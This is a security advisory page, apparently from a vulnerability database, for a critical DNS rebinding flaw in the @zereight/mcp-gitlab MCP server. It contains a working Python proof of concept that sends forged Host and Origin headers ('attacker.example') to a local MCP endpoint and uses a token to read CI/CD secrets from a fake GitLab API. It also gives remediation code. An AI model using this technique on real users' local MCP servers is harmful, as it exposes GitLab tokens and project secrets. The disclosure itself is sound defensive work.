Loading...
Skip to main content

CVE-2026-61568 — Vulnerability in @zereight/mcp-gitlab — CVE Details

CRITICAL

@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport

Published September 15, 2026Updated September 15, 2026Source: osv

Summary

`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary. This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`. The vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist: ```typescript // index.ts:12077 app.use(express.json()); registerDownloadProxy(app); ``` The Streamable HTTP transport is then created without the SDK DNS-rebinding controls: ```typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, }); ``` The transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`. The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach: ```typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1"; // config.ts:196 export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT); ``` The README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access. ## Proof of concept The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately: - no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`; - no-token `tools/list` is rejected with `401`; - the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`; - the fake GitLab API records the forwarded token and returns a planted fake project variable. Start the fake GitLab API: ```bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parse_qs, urlparse WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECT_ID = "pluto/rebind-target" FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001" class Handler(BaseHTTPRequestHandler): def _json(self, status, payload): data = json.dumps(payload).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def _record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parse_qs(parsed.query), "authorization": self.headers.get("authorization"), "private_token": self.headers.get("private-token"), "job_token": self.headers.get("job-token"), }, sort_keys=True) + "\n") def do_GET(self): self._record() path = urlparse(self.path).path if path == "/health": self._json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self._json(200, [{ "key": "PRODUCTION_DEPLOY_TOKEN", "value": FAKE_SECRET, "protected": True, "masked": False, }]) return self._json(200, {"ok": True, "path": path}) def log_message(self, fmt, *args): return ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever() PY ``` In a second terminal, run the affected MCP server: ```bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build STREAMABLE_HTTP=true \ REMOTE_AUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \ GITLAB_READ_ONLY_MODE=true \ GITLAB_TOOLSETS=issues,projects,repository,ci \ GITLAB_TOOLS=list_project_variables \ node build/index.js ``` In a third terminal, send MCP requests with attacker-controlled browser-origin headers: ```bash python3 - <<'PY' import json import urllib.error import urllib.request TARGET = "http://127.0.0.1:8082/mcp" REBIND_HOST = "attacker.example:8082" ORIGIN = "http://" + REBIND_HOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001" def parse_rpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out class Client: def __init__(self, token=None): self.sid = None self.token = token def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBIND_HOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parse_rpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parse_rpc(text), text def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"}) def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid) unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200]) authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed list_project_variables:", "list_project_variables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "list_project_variables", "arguments": {"project_id": "pluto/rebind-target"}, }, 5) print(raw) PY ``` Observed output: ```text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed list_project_variables: True [ { "key": "PRODUCTION_DEPLOY_TOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ] ``` The fake GitLab API witness records that the MCP server forwarded the token to the backend request: ```json {"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}} ``` ## Impact A malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page. The confirmed impact is: - attacker-origin browser traffic reaches the local MCP `initialize` path; - server-side Host and Origin validation are absent on `/mcp`; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables. ## Why this is a vulnerability, not intended behavior - The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard. - `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls. ## Remediation Enable the SDK DNS-rebinding protection on the Streamable HTTP transport: ```typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ `127.0.0.1:${PORT}`, `localhost:${PORT}`, ], allowedOrigins: [ `http://127.0.0.1:${PORT}`, `http://localhost:${PORT}`, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, }); ``` Add an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.

Advisory Timeline

  • First published September 15, 2026 (27 days ago).
  • Last revised September 15, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @zereight/mcp-gitlab to 2.1.30 or later
npm install @zereight/mcp-gitlab@2.1.30

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@zereight/mcp-gitlab
npm
All versions2.1.30

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-61568?
@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-61568?
CVE-2026-61568 affects @zereight/mcp-gitlab. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-61568 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-vmp7-252j-cwp7

Related CVEs

  • CVE-2026-61559
    CRITICAL

    @zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

  • CVE-2026-61560
    CRITICAL

    @zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover

  • CVE-2026-107722
    CRITICAL

    fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

  • CVE-2026-108261
    CRITICAL

    TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies